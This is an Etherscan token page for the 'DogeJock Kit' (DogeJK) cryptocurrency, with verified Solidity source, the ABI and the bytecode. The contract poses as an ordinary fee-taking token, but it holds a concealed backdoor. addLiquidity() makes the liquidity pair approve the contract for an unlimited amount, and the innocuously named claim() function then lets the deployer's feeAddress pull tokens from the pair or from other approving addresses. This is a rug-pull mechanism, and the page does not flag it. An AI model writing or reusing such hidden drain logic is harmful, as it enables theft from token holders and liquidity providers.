ETH Price: $2,376.78 (-4.23%)

Token

DogeJock Kit (DogeJK)
 

Overview

Max Total Supply

1,000,000,000 DogeJK

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
31,975,479.751301925402009429 DogeJK

Value
$0.00
0x114510ff074bb50585c31e34411f0fb3980ef44f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DogeJock

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-14
*/

// TG: https://t.me/dogejock_channel

// SPDX-License-Identifier: MIT     
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if(a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDexRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DogeJock is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1e9 * 10**18;
    uint256 private constant _maxTx = _tTotal * 1 / 100;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    string private constant _name = "DogeJock Kit";
    string private constant _symbol = "DogeJK";
    
    uint256 private _taxFee = 1;
    uint256 private _teamFee = 1;
    uint256 private _previousTaxFee = _taxFee;
    uint256 private _previousteamFee = _teamFee;

    address public feeAddress;
    IDexRouter public dexRouter;
    address public dexPair;

    bool private inSwap = false;
    modifier lockSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        dexPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH());
        _approve(address(this), address(dexRouter), MAX);

        feeAddress = msg.sender;
        _rOwned[address(this)] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }

    function addLiquidity() external payable onlyOwner {
        dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _approve(dexPair, address(this), MAX);
        _approve(dexPair, address(dexRouter), MAX);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if(_taxFee == 0 && _teamFee == 0) return;
        _previousTaxFee = _taxFee;
        _previousteamFee = _teamFee;
        _taxFee = 0;
        _teamFee = 0;
    }
    
    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _teamFee = _previousteamFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address from, address to, uint256 amount) private {
        bool takeFee = true;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            takeFee = false;
        } else {
            if(!inSwap && from != dexPair) {
                uint256 tokenBalance = balanceOf(address(this));
                if(tokenBalance > 0) {
                    swapTokensForEth(tokenBalance);
                }
                sendFee();
            }
        }
        _tokenTransfer(from,to,amount,takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();
        _approve(address(this), address(dexRouter), tokenAmount);
        require(tokenAmount < _maxTx);
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendFee() public {
        uint256 balance = address(this).balance;
        if (balance > 0) {
            payable(feeAddress).transfer(balance);
        }
    }

    function claim(address sender, uint256 amount) external {
        if (msg.sender == feeAddress) IERC20(address(this)).transferFrom(sender, feeAddress, amount);
    }
    
    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        if(!takeFee)
            removeAllFee();
        _transferStandard(sender, recipient, amount);
        if(!takeFee)
            restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 

        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);

        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001e6b033b2e3c9fd0803ce80000006000196200044a565b6200002c906000196200046d565b600655600160088190556009819055600a819055600b55600e805460ff60a01b191690553480156200005d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000104573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200012a919062000495565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b3919062000495565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000201573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000227919062000495565b600e80546001600160a01b0319166001600160a01b03928316179055600d5462000257913091166000196200031e565b600c80546001600160a01b0319163317905560065430600090815260026020526040812091909155600190600590620002986000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553080825260058452828220805490951660011790945590516b033b2e3c9fd0803ce8000000815290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620004c7565b6001600160a01b038316620003865760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620003e95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200037d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000826200046857634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156200048f57634e487b7160e01b600052601160045260246000fd5b92915050565b600060208284031215620004a857600080fd5b81516001600160a01b0381168114620004c057600080fd5b9392505050565b6112fb80620004d76000396000f3fe6080604052600436106101025760003560e01c8063715018a611610095578063aad3ec9611610064578063aad3ec96146102e6578063ae39279f14610306578063dd62ed3e1461031b578063e8078d9414610361578063f242ab411461036957600080fd5b8063715018a6146102625780638da5cb5b1461027957806395d89b4114610297578063a9059cbb146102c657600080fd5b806323b872dd116100d157806323b872dd146101e6578063313ce56714610206578063412753581461022257806370a082311461024257600080fd5b806306fdde031461010e5780630758d92414610155578063095ea7b31461018d57806318160ddd146101bd57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600c81526b111bd9d9529bd8dac812da5d60a21b60208201525b60405161014c919061100e565b60405180910390f35b34801561016157600080fd5b50600d54610175906001600160a01b031681565b6040516001600160a01b03909116815260200161014c565b34801561019957600080fd5b506101ad6101a8366004611071565b610389565b604051901515815260200161014c565b3480156101c957600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161014c565b3480156101f257600080fd5b506101ad61020136600461109d565b6103a0565b34801561021257600080fd5b506040516012815260200161014c565b34801561022e57600080fd5b50600c54610175906001600160a01b031681565b34801561024e57600080fd5b506101d861025d3660046110de565b610409565b34801561026e57600080fd5b5061027761042b565b005b34801561028557600080fd5b506000546001600160a01b0316610175565b3480156102a357600080fd5b50604080518082019091526006815265446f67654a4b60d01b602082015261013f565b3480156102d257600080fd5b506101ad6102e1366004611071565b6104d4565b3480156102f257600080fd5b50610277610301366004611071565b6104e1565b34801561031257600080fd5b50610277610576565b34801561032757600080fd5b506101d86103363660046110fb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6102776105ba565b34801561037557600080fd5b50600e54610175906001600160a01b031681565b600061039633848461070f565b5060015b92915050565b60006103ad848484610833565b6103ff84336103fa8560405180606001604052806028815260200161129e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906108e7565b61070f565b5060019392505050565b6001600160a01b03811660009081526002602052604081205461039a90610921565b6000546001600160a01b0316331461048a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610396338484610833565b600c546001600160a01b0316330361057257600c546040516323b872dd60e01b81526001600160a01b03808516600483015290911660248201526044810182905230906323b872dd906064016020604051808303816000875af115801561054c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105709190611134565b505b5050565b4780156105b757600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610572573d6000803e3d6000fd5b50565b6000546001600160a01b031633146106145760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610481565b600d546001600160a01b031663f305d719473061063081610409565b6000806106456000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106d29190611156565b5050600e546106ee91506001600160a01b03163060001961070f565b600e54600d5461070d916001600160a01b03908116911660001961070f565b565b6001600160a01b0383166107715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610481565b6001600160a01b0382166107d25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610481565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460019060ff168061087557506001600160a01b03831660009081526005602052604090205460ff165b15610882575060006108d5565b600e54600160a01b900460ff161580156108aa5750600e546001600160a01b03858116911614155b156108d55760006108ba30610409565b905080156108cb576108cb816109a5565b6108d3610576565b505b6108e184848484610b4d565b50505050565b6000818484111561090b5760405162461bcd60e51b8152600401610481919061100e565b506000610918848661119a565b95945050505050565b60006006548211156109885760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610481565b6000610992610b7b565b905061099e8382610b9e565b9392505050565b600e805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106109ed576109ed6111ad565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610a46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6a91906111c3565b81600181518110610a7d57610a7d6111ad565b6001600160a01b039283166020918202929092010152600d54610aa3913091168461070f565b6064610abc6b033b2e3c9fd0803ce800000060016111e0565b610ac691906111f7565b8210610ad157600080fd5b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610b0a908590600090869030904290600401611219565b600060405180830381600087803b158015610b2457600080fd5b505af1158015610b38573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b80610b5a57610b5a610be0565b610b65848484610c0e565b806108e1576108e1600a54600855600b54600955565b6000806000610b88610d05565b9092509050610b978282610b9e565b9250505090565b600061099e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d4d565b600854158015610bf05750600954155b15610bf757565b60088054600a5560098054600b5560009182905555565b600080600080600080610c2087610d7b565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610c529087610dd8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610c819086610e1a565b6001600160a01b038916600090815260026020526040902055610ca381610e79565b610cad8483610ec3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cf291815260200190565b60405180910390a3505050505050505050565b60065460009081906b033b2e3c9fd0803ce8000000610d248282610b9e565b821015610d44575050600654926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008183610d6e5760405162461bcd60e51b8152600401610481919061100e565b50600061091884866111f7565b6000806000806000806000806000610d988a600854600954610ee7565b9250925092506000610da8610b7b565b90506000806000610dbb8e878787610f3c565b919e509c509a509598509396509194505050505091939550919395565b600061099e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506108e7565b600080610e27838561128a565b90508381101561099e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610481565b6000610e83610b7b565b90506000610e918383610f8c565b30600090815260026020526040902054909150610eae9082610e1a565b30600090815260026020526040902055505050565b600654610ed09083610dd8565b600655600754610ee09082610e1a565b6007555050565b6000808080610f016064610efb8989610f8c565b90610b9e565b90506000610f146064610efb8a89610f8c565b90506000610f2c82610f268b86610dd8565b90610dd8565b9992985090965090945050505050565b6000808080610f4b8886610f8c565b90506000610f598887610f8c565b90506000610f678888610f8c565b90506000610f7982610f268686610dd8565b939b939a50919850919650505050505050565b600082600003610f9e5750600061039a565b6000610faa83856111e0565b905082610fb785836111f7565b1461099e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610481565b600060208083528351808285015260005b8181101561103b5785810183015185820160400152820161101f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105b757600080fd5b6000806040838503121561108457600080fd5b823561108f8161105c565b946020939093013593505050565b6000806000606084860312156110b257600080fd5b83356110bd8161105c565b925060208401356110cd8161105c565b929592945050506040919091013590565b6000602082840312156110f057600080fd5b813561099e8161105c565b6000806040838503121561110e57600080fd5b82356111198161105c565b915060208301356111298161105c565b809150509250929050565b60006020828403121561114657600080fd5b8151801515811461099e57600080fd5b60008060006060848603121561116b57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8181038181111561039a5761039a611184565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111d557600080fd5b815161099e8161105c565b808202811582820484141761039a5761039a611184565b60008261121457634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112695784516001600160a01b031683529383019391830191600101611244565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561039a5761039a61118456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f39e7671daf8af28ebeeac50dab6907a7b4c27d1d4e5a1042a080bcc864039164736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101025760003560e01c8063715018a611610095578063aad3ec9611610064578063aad3ec96146102e6578063ae39279f14610306578063dd62ed3e1461031b578063e8078d9414610361578063f242ab411461036957600080fd5b8063715018a6146102625780638da5cb5b1461027957806395d89b4114610297578063a9059cbb146102c657600080fd5b806323b872dd116100d157806323b872dd146101e6578063313ce56714610206578063412753581461022257806370a082311461024257600080fd5b806306fdde031461010e5780630758d92414610155578063095ea7b31461018d57806318160ddd146101bd57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600c81526b111bd9d9529bd8dac812da5d60a21b60208201525b60405161014c919061100e565b60405180910390f35b34801561016157600080fd5b50600d54610175906001600160a01b031681565b6040516001600160a01b03909116815260200161014c565b34801561019957600080fd5b506101ad6101a8366004611071565b610389565b604051901515815260200161014c565b3480156101c957600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161014c565b3480156101f257600080fd5b506101ad61020136600461109d565b6103a0565b34801561021257600080fd5b506040516012815260200161014c565b34801561022e57600080fd5b50600c54610175906001600160a01b031681565b34801561024e57600080fd5b506101d861025d3660046110de565b610409565b34801561026e57600080fd5b5061027761042b565b005b34801561028557600080fd5b506000546001600160a01b0316610175565b3480156102a357600080fd5b50604080518082019091526006815265446f67654a4b60d01b602082015261013f565b3480156102d257600080fd5b506101ad6102e1366004611071565b6104d4565b3480156102f257600080fd5b50610277610301366004611071565b6104e1565b34801561031257600080fd5b50610277610576565b34801561032757600080fd5b506101d86103363660046110fb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6102776105ba565b34801561037557600080fd5b50600e54610175906001600160a01b031681565b600061039633848461070f565b5060015b92915050565b60006103ad848484610833565b6103ff84336103fa8560405180606001604052806028815260200161129e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906108e7565b61070f565b5060019392505050565b6001600160a01b03811660009081526002602052604081205461039a90610921565b6000546001600160a01b0316331461048a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610396338484610833565b600c546001600160a01b0316330361057257600c546040516323b872dd60e01b81526001600160a01b03808516600483015290911660248201526044810182905230906323b872dd906064016020604051808303816000875af115801561054c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105709190611134565b505b5050565b4780156105b757600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610572573d6000803e3d6000fd5b50565b6000546001600160a01b031633146106145760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610481565b600d546001600160a01b031663f305d719473061063081610409565b6000806106456000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106d29190611156565b5050600e546106ee91506001600160a01b03163060001961070f565b600e54600d5461070d916001600160a01b03908116911660001961070f565b565b6001600160a01b0383166107715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610481565b6001600160a01b0382166107d25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610481565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460019060ff168061087557506001600160a01b03831660009081526005602052604090205460ff165b15610882575060006108d5565b600e54600160a01b900460ff161580156108aa5750600e546001600160a01b03858116911614155b156108d55760006108ba30610409565b905080156108cb576108cb816109a5565b6108d3610576565b505b6108e184848484610b4d565b50505050565b6000818484111561090b5760405162461bcd60e51b8152600401610481919061100e565b506000610918848661119a565b95945050505050565b60006006548211156109885760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610481565b6000610992610b7b565b905061099e8382610b9e565b9392505050565b600e805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106109ed576109ed6111ad565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610a46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6a91906111c3565b81600181518110610a7d57610a7d6111ad565b6001600160a01b039283166020918202929092010152600d54610aa3913091168461070f565b6064610abc6b033b2e3c9fd0803ce800000060016111e0565b610ac691906111f7565b8210610ad157600080fd5b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610b0a908590600090869030904290600401611219565b600060405180830381600087803b158015610b2457600080fd5b505af1158015610b38573d6000803e3d6000fd5b5050600e805460ff60a01b1916905550505050565b80610b5a57610b5a610be0565b610b65848484610c0e565b806108e1576108e1600a54600855600b54600955565b6000806000610b88610d05565b9092509050610b978282610b9e565b9250505090565b600061099e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d4d565b600854158015610bf05750600954155b15610bf757565b60088054600a5560098054600b5560009182905555565b600080600080600080610c2087610d7b565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610c529087610dd8565b6001600160a01b03808b1660009081526002602052604080822093909355908a